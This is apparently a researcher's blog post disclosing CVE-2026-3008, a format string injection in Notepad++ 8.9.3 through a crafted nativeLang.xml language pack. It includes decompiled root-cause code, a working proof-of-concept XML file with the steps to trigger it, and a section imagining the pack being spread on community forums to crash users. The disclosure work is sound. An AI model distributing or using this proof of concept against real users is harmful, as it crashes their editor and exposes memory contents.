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vuln research & drowning in tokens

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CVE-2026-3008: Format String Injection in Notepad++ via nativeLang.xml

April 14, 2026

cve

a format string injection vulnerability in Notepad++ 8.9.3 allows an attacker to cause a reliable crash (DoS) or leak stack/register contents via a malicious language pack

[github: llgsjsm/cve-2026-3008](#)



CVE-2026-3008:
Format Strings injection via
nativeLang.xml

:: summary

on a casual thursday, i decided to pass some time by looking into some popular applications instead of doom scrolling my life away. notepad++ was one of them, we get on with tinkering shall we??

Product	Notepad++
Version	8.9.3 (x64, installer and portable)
Attack Vector	Malicious language pack (<code>nativeLang.xml</code>)

Impact


Reliable DoS (crash) + information disclosure (stack/register leak)

:: adversarial pov

i can just distribute the malicious nativeLang.xml and pass it off as a legitimate language pack in the npp community forums. when the user unknowingly load up his npp, and tries to search a matching term – it will crash every. single. time.

best part? a normal user wouldnt even know why it crashes


asides causing mischief from crashing however, this exploit can expose registers/stack values. with a write primitive you can... (or maybe not)

**:: affected component**

function: `sub_1400916C0` — Find Results panel initializer

vulnerable instruction: `0x140091E6D`

triggered by: any search operation that produces results (Find All, Find in Files, Mark All)



:: root cause

sub_140099E60 retrieves an attacker-controlled string from nativeLang.xml and places it in v38.

`wprintfW` is then called with v38 as the format string argument, not as a data argument — so any format specifiers in the XML value (`%S`, `%X`) are interpreted by `wprintfW`.

```

248  if ( SendMessageW(*(HWND*)(a1 + 16), v36, v2 == 3, 0) )
249  {
250      sub_140099E60(v37, v51, *(unsigned int*)(a1 + 196)); // get localized string
251      v38 = (const WCHAR*)v51;
252      if ( v53 > 7 )
253          v38 = v51[0]; // SS0 heap pointer
254      wprintfW((LPWSTR)(a1 + 200), v38); // vulnerable - v38 is format string

```

the string originates from the `<find-result-hits>` attribute in `nativeLang.xml` with **no validation** at any point in the data flow:


```

<NotepadPlus>
  <Native-Langue name="PoC" filename="poc_nativeLang.xml" version="8.9.3">
    <Menu>
      <Main>
      </Main>
    </Menu>
    <MiscStrings>
      <find-result-hits value="($INT_REPLACE$ hits) [%s%s%s%s%s%s%s]" />
      <find-result-caption value="Search Results" />
      <find-result-title value="Search &quot;$STR_REPLACE&quot; ($INT_REPLACE$ hits)" />
    </MiscStrings>
    <Splitter>
    </Splitter>
  </Native-Langue>
</NotepadPlus>

```

place it at:

- **Portable:** `<npp_directory>\nativeLang.xml`
- **Installer:** `%APPDATA%\Notepad++\nativeLang.xml`

then open Notepad++, search for any text, and click **Find All in Current Document**.

Notepad++ crashes immediately

:: timeline

Date	Event
2026-04-09	format string injection confirmed - <code>%s</code> crash, <code>%lx</code> info disclosure
2026-04-10	figured <code>wsprintfW</code> has hardcoded 1024-char output limit
2026-04-10	submitted vulnerability to CSA
2026-04-16	CSA reached out to Notepad++
2026-04-27	CVE-2026-3008 assigned

